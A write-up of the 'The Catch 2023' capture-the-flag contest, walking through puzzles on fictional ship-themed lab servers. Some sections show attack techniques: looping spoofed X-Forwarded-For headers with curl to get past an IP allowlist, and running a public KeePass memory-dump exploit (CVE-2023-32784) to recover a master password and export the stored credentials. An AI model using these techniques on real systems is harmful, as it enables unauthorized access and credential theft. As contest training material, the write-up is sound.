“The Catch 2023” write up

Guy Brand gb@unistra.fr, Oct 2023.

Treasure-Map

```
Ahoy, deck cadet,

working with maps and searching for treasures is every sailor's
daily routine, right? Your task is to examine the map and find
any hidden secrets.

May you have fair winds and following seas!

Download the treasure map.
(MD5 checksum: 4f0f6570025ded4d7823739bc963d85e)
```

The file we download is a PNG image (treasure_map.png: PNG image data, 4533 x 3173, 8-bit/color RGB, interlaced). It contains the drawing of a map with points of interest as network protocols and notions (PbR, BGP, ARP, NDP, QoS, MPLS, etc) and a path in red is drawn. We have to “find any hidden secrets”. There doesn’t seem to be a file hidden in the PNG.

Zooming on the drawing, letters are written in light yellow above and along the red path. The first letters say F L A G… ok.

I follow the path and write the letters down: **FLAG{WIFI-AHEA-DCAP-TAIN}**.

Ship-web-server

```
Ahoy, deck cadet,

there are rumors that on the ship web server is not just the
official presentation. Your task is to disprove or confirm these
rumors.

May you have fair winds and following seas!

Ship web server is available at http://www.cns-jv.tcc.
```

We end on a page with a footer that seems to be a version string containing base64 encoded text:

```
 ver. RkxBR3sgICAgLSAgICAtICAgIC0gICAgfQ==
```

Decoding it to: FLAG{ - - - }%, i.e. an empty flag.

The source doesn't show something else. After looking for hidden directories, for other versions, we see there are alternate names in the self-signed certificate.

- DNS:www.cns-jv.tcc
- DNS:documentation.cns-jv.tcc
- DNS:home.cns-jv.tcc
- DNS:pirates.cns-jv.tcc
- DNS:structure.cns-jv.tcc

None of these names seems to be declared in the DNS, so let's add the DNS names to our local `/etc/hosts file:

```
10.99.0.64 documentation.cns-jv.tcc home.cns-jv.tcc pirates.cns-jv.tcc
structure.cns-jv.tcc
```

and navigate to each site. We get answers from the servers, which still do exist with these names and in the page, each time, there is a fragment FLAG{}:

- on documentation: FLAG{ - - -gMwc}%
- on home: FLAG{ejii- - - }%
- on pirates: FLAG{ - -Q53C- }%
- on structure: FLAG{ -plmQ- - }%

I put them together: **FLAG{ejii-plmQ-Q53C-gMwc}**

Cat-Code

```
Ahoy, officer,

due to the lack of developers on board, the development of the
access code generator for the satellite connection was entrusted
to the cat of the chief officer. Your task is to analyze the
cat's creation and find out the code.

May you have fair winds and following seas!

Download the cat code.
(MD5 checksum: aac150b3f24e5b047ee99e25ad263f56)
```

After downloading the file and verifying its checksum, we extract two files: `meow.py` and `meowmeow.py`. They contain python code. Inside meow.py a meeow **dict of exactly 25 elements**, could be the flag we're looking for. There is also a function which calls itself recursively like a badly implemented Fibonacci serie: def meow(x): return meow(x-1) + meow(x-2). The meowmeow.py imports the two meow.py functions and calls them.

I add a clean version of the Fibonacci serie:

```
            def fib(n, a=0, b=1):
                if n == 0:
                    return a
                if n == 1:
                    return b
                return fib(n - 1, b, a + b)
```

and replace the call to meow() by a call to fib():

```
            print(meowmeow(fib(sum([ord(meow) for meow in meoword]))))
```

Running the meowmeow.py script gives:

meowwww **FLAG{YcbS-IAbQ-KHRE-BTNR}**

Component-Replacement

```
Ahoy, officer,

the ship had to lower its speed because of broken fuel efficiency
enhancer. To order a correct spare part, the chief engineer needs
to know exact identification code of the spare part. However, he
cannot access the web page listing all the key components in use.
Maybe the problem has to do with recently readdressing of the
computers in the engine room - the old address plan for whole
ship was based on range 192.168.96.0/20. Your task is to find out
the identification code of the broken component.

May you have fair winds and following seas!

The webpage with spare parts listing is available at
http://key-parts-list.cns-jv.tcc.
```

Accessing the given URL via a curl ends with an error message saying:

```
You are attempting to access from the IP address 10.200.0.11,
which is not assigned to engine room. Access denied.
```

We are told in the instructions that the 192.168.96.0/20 network range could still be allowed to access… let's try using an X-Forwarded-For header with curl:

```
        curl -H "X-Forwarded-For: 192.168.96.1" http://key-parts-list.cns-jv.tcc/`
          You are attempting to access from the IP address 192.168.96.1,
          which is not assigned to engine room. Access denied.
```

Let's see if an IP address from the 192.168.96.0/20 range has access to the server. I build the range of the 4096 IP addresses using `sipcalc`, and loop on it:

```
        sipcalc 192.168.96.0/20 -s /32 | awk '{ print $3 }' > IP
        while i
          do curl -L -H "X-Forwarded-For: $i" http://key-parts-list.cns-jv.tcc/
        done < IP | tee output
```

In the output file we see that for IP in range 192.168.100.{32..63} there is no access denied message, and a block appears, as the server's answer:

```
Spare part;Identification code;In duty
Bubler;PART{SNIg-NYW1-0eSq-vMqO};8
Camshaft;PART{BAym-Fxee-llBO-wRSz};4
Connecting rod;PART{k76T-boGS-Z2s9-BrGa};22
Continuity converter;PART{63Ph-aHXa-MOOf-yzam};4
Crankshaft;PART{ScTp-kzE4-fNed-F9AZ};4
Cylinder head;PART{sHL3-l6pw-sQuw-XVcq};96
```

```
Flywheel;PART{Fg4G-UcHw-BKaz-8ozB};12
Fuel efficiency enhancer;FLAG{MN9o-V8Py-mSZV-JkRz};0
Fuel lines;PART{NJu2-Dy2b-001D-dEyn};112
Fuel pump;PART{ymm0-I0FQ-jZ6t-FIZq};8
Rotation accelerator;PART{ZJSD-AdYM-yh3e-pOa0};4
Turbocharger;PART{iHqc-3Od4-1Yuq-jtX0};12
Piston;PART{Bxlj-Ud2U-zNfm-3XGQ};96
Plasma rectifier;PART{pxZ5-QJUJ-dzkr-I5Yt};1
Plunger pump;PART{3C1U-ghSo-euI0-wLi0};4
Self-locking fuel tank;PART{wLyo-Odc9-38IP-zfmT};12
Valve;PART{erre-BopV-7Lrw-xepu};64
```

From this list, we see one line that holds a flag:

- Spare part not in duty: Fuel efficiency enhancer;**FLAG{MN9o-V8Py-mSZV-JkRz}**;0

It is a fuel efficiency enhancer and it is not in duty. And we have our flag!

Sonar-Logs

```
Ahoy, officer,

each crew member must be able to operate the sonar and understand
its logs. Your task is to analyze the given log file, and check
out what the sonar has seen.

May you have fair winds and following seas!

Download the logs.
(MD5 checksum: b946f87d0231fcbdbc1e76e27ebf45c7)
```

We download the sonar_logs.zip file, verify the checksum and extract its content, a `sonar.log` text file.

Format is date, time, timezone and a message. Some messages must contain useful information to find the flag. General logistic looking messages such as “Transmitters activated”, “Preprocessor up” or “Power generator up” do not seem to contain intel. What about this “depth” messages?

```
grep depth sonar.log | wc -l
25
```

exactly **the length of a flag string**. Let’s make the hypothesis these “object detected” messages are the way to the flag. I keep these lines in a separated file (`grep depth sonar.log > depth.log`).

```
cat depth.log
2023-10-02 00:52:22 America/Creston - 65 (0x41)
2023-10-02 01:49:54 US/Pacific - 114 (0x72)
2023-10-02 01:59:01 America/Edmonton - 71 (0x47)
2023-10-02 02:51:10 America/Inuvik - 98 (0x62)
2023-10-02 02:51:23 America/Mazatlan - 106 (0x6a)
2023-10-02 03:35:00 America/St_Barthelemy - 70 (0x46)
2023-10-02 04:06:09 America/Indiana/Winamac - 123 (0x7b)
2023-10-02 04:35:00 US/Central - 119 (0x77)
2023-10-02 04:44:04 EST - 109 (0x6d)
2023-10-02 04:44:40 America/Lower_Princes - 50 (0x32)
2023-10-02 05:12:42 America/Thunder_Bay - 87 (0x57)
2023-10-02 05:33:26 America/Kralendijk - 76 (0x4c)
2023-10-02 08:20:15 GMT0 - 89 (0x59)
2023-10-02 09:39:10 Africa/Banjul - 87 (0x57)
2023-10-02 09:42:59 Europe/Skopje - 76 (0x4c)
2023-10-02 10:16:44 Europe/Belgrade - 51 (0x33)
2023-10-02 10:26:17 Africa/Tunis - 90 (0x5a)
2023-10-02 10:51:30 Europe/Lisbon - 125 (0x7d)
2023-10-02 11:57:20 Asia/Hebron - 45 (0x2d)
```

```
2023-10-02 12:21:11 Asia/Hebron - 111 (0x6f)
2023-10-02 12:32:18 Europe/Zaporozhye - 45 (0x2d)
2023-10-02 16:29:12 Asia/Macau - 65 (0x41)
2023-10-02 16:40:55 Australia/Perth - 45 (0x2d)
2023-10-02 17:05:53 Asia/Taipei - 75 (0x4b)
2023-10-02 19:38:35 Australia/Sydney - 71 (0x47)
```

Only keeping the message information we see some characters appear which are familiar:

```
65 (0x41)    → A
114 (0x72)
71 (0x47)    → G
98 (0x62)
106 (0x6a)
70 (0x46)    → F
123 (0x7b)   → {
119 (0x77)
109 (0x6d)
50 (0x32)
87 (0x57)
76 (0x4c)    → L
89 (0x59)
87 (0x57)
76 (0x4c)    → L
51 (0x33)
90 (0x5a)
125 (0x7d)
45 (0x2d)
111 (0x6f)
45 (0x2d)
65 (0x41)    → A
45 (0x2d)
75 (0x4b)
71 (0x47)    → G
```

but not in the right order, maybe because the log file lines are not in UTC time order. Let's try to do this using the `date` command:

```
cat depth.log | while read dat tim zon sep dec hex
  do ts=$(date -d "$(TZ="$zon" date -d "$dat $tim" -R)" -u +%s)
  echo $ts $hex
done | sort | cut -d " " -f2 | tr -d '(0x)' | xxd -ps -r
FLAG{3YAG-2rb-KWoZ-LwWmj}
```

FLAG{3YAG-2rb-KWoZ-LwWmj}. Almost! We are on the right path.

A HINT tells us that we should use version 2020.4 of pytz. Let's do the same as what we did above with the `date` command, but with python code:

```
''' sonar.py '''

import datetime as dt
from pytz import timezone
import pytz
import codecs

utc = pytz.utc
dict = {}

with open('depth.log', 'r') as file:
    for line in file:
        items = line.split()
        str1 = items[0] + ' ' + items[1]
        time = dt.datetime.strptime(str1, '%Y-%m-%d %H:%M:%S')

        zone = timezone(items[2])
        d_tz = zone.normalize(zone.localize(time))
        utc = pytz.timezone('UTC')
        d_utc = d_tz.astimezone(utc)

        fmt = '%s'
        ticks = dt.datetime.strftime(d_utc, '%s')

        letter = items[5].strip("0x()")
        binary_letter = codecs.decode(letter, "hex")

        dict[ticks] = str(binary_letter, 'utf-8')


for k, v in sorted(dict.items()):
    print(v, end='')
```

Execution yields the same output: FLAG{3YAG-2rb-KWoZ-LwWmj}

Revert pytz to version 2020.4:

```
python -m venv thecatch
source thecatch/bin/activate
pip install 'pytz==2020.4'
python sonar.py
  FLAG{3YAG-2rbj-KWoZ-LwWm}
```

This time the flag is good.

Web-Protocols

```
Ahoy, officer,

almost all interfaces of the ship's systems are web-based, so we
will focus the exercise on the relevant protocols. Your task is
to identify all webs on given server, communicate with them
properly and assembly the control string from responses.

May you have fair winds and following seas!

The webs are running on server web-protocols.cns-jv.tcc.
```

There does not seem to be a web server on tcp/80 or 443 of web-protocols.cns-jv.tcc. An mmap scan reports two open ports: for web-protocols.cns-jv.tcc (10.99.0.122)

```
PORT     STATE SERVICE
5009/tcp open  airport-admin
8011/tcp open  unknown
```

A connection to port 5009 gives “Unsupported protocol version” response. A connection to port 8011 results in a big base64 blob output, which is a PNG image. This image contains what looks like cat outlines, two of them having additional black drawings on them, representing sleeping cats.

Doing some more scanning, shows additional open ports:

```
5020/tcp open  zenginkyo-1
8011/tcp open  unknown
8020/tcp open  intu-ec-svcdisc
```

Again all ports result in PNG images after base64 decoding of the server responses.

The “Unsupported protocol version” suggests to try another version of HTTP. So again on port 5009:

```
        version=(3 2 1.2 1.1 1.0 0.9)
        for v in $version
            do echo "GET /HTTP/$v" | nc -v web-protocols.cns-jv.tcc 5009
        done
```

Something interesting happens with version 0.9:

```
Connection to web-protocols.cns-jv.tcc (10.99.0.122) 5009 port
HTTP/0.9 200 OK

SESSION=RkxBR3trckx0;
iVBORw0KGgoAAAANSUhEUgAAB4AAAAeACAYAAAAvokrGAAAAmmVYSWZNTQAqAAAACA...
```

```
...
CiAgICAgICAgIDx0aWZmOk9yaWVudGF0aW9uPjE8L3RpZmY6T3JpZW50YXRpb24+Ci
```

The string RkxBR3trckx0 after SESSION= is base64 encoded version of `FLAG{krLt`. So probably other fragments have to be found and all of them assembled together as the challenge instructions tell. The two last digits of port number we have used (5009, so 09) is the version we successfully used (0.9). So let's try the same for other ports/versions:

```
5009/tcp open ⇒ use version 0.9
5011/tcp open ⇒ use version 1.1
5020/tcp open ⇒ use version 2.0
8011/tcp open ⇒ use version 1.1
8020/tcp open ⇒ use version 2.0
```

Formatting an HTTP version 1.1 request is easy:

```
echo "GET / HTTP/1.1" | nc web-protocols.cns-jv.tcc 5011 | \
     grep -i session | sed -e "s/;.*//"
Set-Cookie: SESSION=LXJ2YnEtYWJJ

echo LXJ2YnEtYWJJ | base64 -d
-rvbq-abI
```

For HTTP 2.0, we have to upgrade the version 1.1 connection to v2, and we are using ncat for that, because of its nice ssl support:

```
echo "GET / HTTP/1.1
Host: web-protocols.cns-jv.tcc
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c

" | ncat --ssl web-protocols.cns-jv.tcc 8020 | \
  grep -i session | sed -e "s/;.*//"
Set-Cookie: SESSION=Ui00MzNBfQ==

echo Ui00MzNBfQ== | base64 -d
R-433A}
```

Now we assemble the three pieces together: **FLAG{krLt-rvbq-abIR-433A}**

Captain-s-Coffee

```
Ahoy, deck cadet,

your task is to prepare good coffee for captain. As a cadet, you
are prohibited from going to the captain's cabin, so you will
have to solve the task remotely. Good news is that the coffee
maker in captain's cabin is online and can be managed via API.

May you have fair winds and following seas!

Coffee maker API is available at http://coffee-maker.cns-jv.tcc.
```

Loading http://coffee-maker.cns-jv.tcc we reach an API as announced.

```
  status    "Coffemaker ready"
  msg   "Visit /docs for documentation"
```

Let's see the docs http://coffee-maker.cns-jv.tcc/docs. We see the details and in particular a /makeCoffee/ POST route with a single drink_id parameter. If we try it sending { "drink_id": 1 }, we get

```
{
  "message": "This drink is not on the Menu",
  "validation_code": "None"
}
```

Maybe if we find the right drink_id we'll get a useful code (a flag). The /coffeeMenu GET method is interesting. If we try it:

```
curl http://coffee-maker.cns-jv.tcc/coffeeMenu | jq
{
  "Menu": [
    {
      "drink_name": "Espresso",
      "drink_id": 456597044
    },
    {
      "drink_name": "Lungo",
      "drink_id": 354005463
    },
    {
      "drink_name": "Capuccino",
      "drink_id": 234357596
    },
    {
      "drink_name": "Naval Espresso with rum",
      "drink_id": 501176144
```

```
        }
      ]
    }
```

We have a list of known drinks. Let's try these drink_ids:

```
    for i in 456597044 354005463 234357596 501176144
      do curl -X 'POST' http://coffee-maker.cns-jv.tcc/makeCoffee/ \
              -H 'accept: application/json' \
              -H 'Content-Type: application/json' \
              -d "{ \"drink_id\": $i }"
    done

    {"message":"Your Espresso is ready for pickup","validation_code":"Use this
validation code FLAG{ccLH-dsaz-4kFA-P7GC}"}
    {"message":"Your Lungo is ready for pickup","validation_code":"Use this
validation code FLAG{ccLH-dsaz-4kFA-P7GC}"}
    {"message":"Your Capuccino is ready for pickup","validation_code":"Use this
validation code FLAG{ccLH-dsaz-4kFA-P7GC}"}
    {"message":"Your Naval Espresso with rum is ready for
pickup","validation_code":"Use this validation code FLAG{ccLH-dsaz-4kFA-P7GC}"}
```

OK got it! **FLAG{ccLH-dsaz-4kFA-P7GC}**

Captain-S-Password

```
Ahoy, officer,

our captain has had too much naval espresso and is temporary
unfit for duty. The chief officer is in command now, but he does
not know the captain's passwords for key ship systems. Good news
is that the captain uses password manager and ship chief engineer
was able to acquire captain's computer memory crash dump. Your
task is to acquire password for signalization system.

May you have fair winds and following seas!

Download the database and memory dump.
(MD5 checksum: 7c6246d6e21bd0dbda95a1317e4ae2c9)
```

A memory dump suggests to use the Volatility framework. Also the kbdx file suggests to look for existing vulnerability. KeePass 2.x is known to have a vuln: KeePass 2.X Master Password Dumper (**CVE-2023-32784**).

I get the code from https://github.com/vdohney/keepass-password-dumper.git and install dotnet. Running the exploit gives good results:

```
dotnet run ../crashdump.dmp
...
Combined: ●{), ÿ, a, :, |, í, W, 5, , r, ¸}ssword4mypreciousship
```

I easily guess the first and second chars: **password4mypreciousship**. Then I try this password as master password for the keypass DB:

```
keepassxc-cli db-info ../captain.kdbx
Enter password to unlock ../captain.kdbx:
...

Number of entries: 15
Unique passwords: 15
...
```

It works! So now I dump the passwords:

```
keepassxc-cli export ../captain.kdbx > pass
```

and look for the flag inside the resulting XML keepass file.

It is there: **FLAG{pyeB-941A-bhGx-g3RI}**